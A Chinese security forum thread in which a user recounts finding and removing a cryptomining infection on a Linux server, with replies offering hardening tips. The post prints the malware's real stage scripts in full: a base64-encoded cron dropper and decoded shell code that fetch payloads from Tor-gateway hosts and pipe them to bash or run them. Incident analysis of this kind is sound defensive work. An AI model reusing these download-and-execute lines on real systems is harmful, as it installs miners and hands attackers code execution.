吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

搜索
查看: 12194|回复: 64

[分享] Linux 服务器CPU总是100%-被挖矿后的自救

  [复制链接]
kuruite 发表于 2020-1-18 17:12
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
本帖最后由 kuruite 于 2020-1-18 17:21 编辑

通过监控系统发现服务器CPU总是100%,通过检查
lsof -p $PID

COMMAND  PID USER   FD   TYPE    DEVICE SIZE/OFF     NODE NAME
RWdaa9  7649 root  cwd    DIR     253,2    40960 67145801 /usr/bin
RWdaa9  7649 root  rtd    DIR     253,2     4096       64 /
RWdaa9  7649 root  txt    REG     253,2   260544 67606919 /usr/bin/e9380b269e5f4564b95bb3ae105fdd4e (deleted)
RWdaa9  7649 root    0u  IPv4 103733459      0t0      TCP buildserver:53860->101.64.182.145:https (ESTABLISHED)
RWdaa9  7649 root    3w   REG     253,2        6 34829489 /tmp/.X11-unix/1

/tmp/puppeteer_dev_profile-BbyuSh
########################################################################
嗯这个进程一直在运行,但是找不到进程,所以就很有问题了。删除了之后程序会自动下载再次运行,初步猜测通过定时任务来实现的,发现以下异常:
crontab -l
15 * * * * /root/.systemd-ntpdate cn.pool.ntp.org >/dev/null 2>&1

/etc/cron.d
0hourly  0systemd-ntpdate  raid-check  sysstat

cat 0systemd-ntpdate
0 * * * * root /lib/systemd/systemd-ntpdate
########################################################################
所有用户的计划任务,都会在这个目录下产生对应的文件 (有可能被删除)
ls  /var/spool/cron
root

cat /var/spool/cron/root
15 * * * * /root/.systemd-ntpdate cn.pool.ntp.org >/dev/null 2>&1
########################################################################

systemd-ntpdate文件中的内容如下:

!/bin/bash
exec &>/dev/null
ntpdate ntp.aliyun.com
sleep 52
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10b3JudHBheG53Nnl4aGw0CnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDE4MCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSAkMSR4Cn0KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMSkvaW87IHRoZW4KKAp1ICR0LmNpdmljbGluay5uZXR3b3JrIHx8CnUgJHQuNHRvci5tbCB8fAp1ICR0LnRvcjJ3ZWIuaW8gfHwKdSAkdC5vbmlvbi5nbGFzcyB8fAp1ICR0Lm9uaW9uLm1uIHx8CnUgJHQub25pb24uc2ggfHwKdSAkdC5vbmlvbi5pbi5uZXQgfHwKdSAkdC5vbmlvbi50bwopfGJhc2gKZmkK|base64 -d|bash

使用base64加密,那么就使用这个解密拿到内容

#解密内容如下
#会去判断进程id是否存在,id若不存在将执行下载操作

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=torntpaxnw6yxhl4
u() {
x=/crn
wget -t1 -T180 -qU- -O- --no-check-certificate $1$x || curl -m180 -fsSLkA- $1$x
}
if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then
(
u $t.onion.glass ||
u $t.civiclink.network ||
u $t.onion.mn ||
u $t.onion.sh ||
u $t.onion.in.net ||
u $t.tor2web.io ||
u $t.4tor.ml ||
u $t.onion.to
)|bash
fi

# 百度了一下这些网址,检索了这个地址出来 https://github.com/zdyxry?tab=repositories,
# 估计是这些网址提供了二级域名服务,主站感觉也不是什么好站

# 按照上面的逻辑拼接出下载地址,将下载的位置文件追加到virus.txt
# 开始是可执行文件,然后是另一个脚本
curl -m180 -fsSLkA- torntpaxnw6yxhl4.onion.glass/crn  > virus.txt

# cat virus.txt
#clear_virus_v2.sh这个脚本暂时不清楚干什么的

ansible all -m shell -a 'rm -f /root/clear_virus_v2.sh && echo "" > /root/clear_virus_v2.sh'
exec &>/dev/  //干掉命令的输出信息
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T180 -qU- --no-check-certificate $1$f -O$d || curl -m180 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /tmp /usr/bin $dir /dev/shm /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
for h in onion.glass civiclink.network onion.mn onion.in.net onion.to tor2web.io onion.sh
do
if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then
x torntpaxnw6yxhl4.$h
else
break
fi
done


# 按照上面的逻辑拼接下载地址,获取病毒脚本
curl -m180 -fsSLkA- torntpaxnw6yxhl4.onion.mn/int -ovirus
virus.zip (22.19 KB, 下载次数: 22)

免费评分

参与人数 17吾爱币 +13 热心值 +16 收起 理由
Aim888 + 1 我很赞同!
sailorTT + 1 + 1 用心讨论,共获提升!
cpj1203 + 1 谢谢@Thanks!
unbeaten + 1 + 1 谢谢@Thanks!
plasd + 1 + 1 用心讨论,共获提升!
王俊雄 + 1 + 1 用心讨论,共获提升!
fei8255 + 1 + 1 用心讨论,共获提升!
Bustle + 1 + 1 我很赞同!
没事路过 + 1 + 1 热心回复!
fengbolee + 1 + 1 用心讨论,共获提升!
椎名牧 + 1 + 1 谢谢@Thanks!
Amitabha + 1 + 1 我很赞同!
oxxo119 + 1 + 1 热心回复!
陈世界 + 1 + 1 我很赞同!
huzpsb + 1 --------
纯之风韵 + 1 谢谢@Thanks!
Corona + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

weemy96 发表于 2020-2-6 23:35
之前我vps也曾经被拜访了,只能割爱砍掉重练,备份重要文件和数据,再重新部署
毕竟就算清掉了病毒,他或许可能也安装后门方便他再次入侵,所以怎么样砍掉重新部署怎么样都比较好
重新部署后,ssh别使用密码登入,改用ssh key登入,关掉root,开个新用户给sudo 权限,使用 fail2ban 设置ssh超过3次登入失败封ip 7天以上,iptables/ufw 把所有访问(incoming)的port都关掉,打开你需要的服务即可,这样已经做足阻挡过一半的入侵方式了
gana 发表于 2020-1-18 22:06
# 百度了一下这些网址,检索了这个地址出来 https://github.com/zdyxry?tab=repositories
# 估计是这些网址提供了二级域名服务,主站感觉也不是什么好站
全球最大同性交友网站GitHub表示冤枉啊,哈哈。

不过挖矿的脚步确实烦,还是得做好服务器的防范工作。我之前的腾讯云两台服务器,就因为密码设置的过于简单,全部被注入了挖矿程序。好在没啥重要内容,直接重置了。
JuncoJet 发表于 2020-1-18 17:24
重命名curl,检查/etc/passwd shadow
~/.bash_rc ,清除 /tmp
改变服务器防火墙策略,篡改TTL,可防止一切国外的攻击。
 楼主| kuruite 发表于 2020-1-18 17:26
JuncoJet 发表于 2020-1-18 17:24
重命名curl,检查/etc/passwd shadow
~/.bash_rc ,清除 /tmp
改变服务器防火墙策略,篡改TTL,可防止一 ...

学习了 感谢
gsnr 发表于 2020-1-18 17:48
感谢分享
工程欧巴 发表于 2020-1-18 18:14
辛苦了楼主
 楼主| kuruite 发表于 2020-1-18 18:17

辛苦可以安慰 打赏下
李莹莹 发表于 2020-1-18 18:18
检查允许登录的账户,然后每个账户登录查看一下他们的计划任务和history。如果是root权限被拿,排查就比较麻烦了。
hosts文件里面添加解析,将你查到的这几个域名,解析到内部其他设备或者解析到本地。将设备无需访问到的ip出路由下一跳指定到一个不存在的私网地址。将设备无需访问的域名解析到本地或者一个不存在的IP。临时缓解。
wobzhidao 发表于 2020-1-18 19:10
这个确实不错的
ssyifang 发表于 2020-1-18 20:15
正在学习阶段 感谢分享经验~~
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2020-9-29 09:10

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表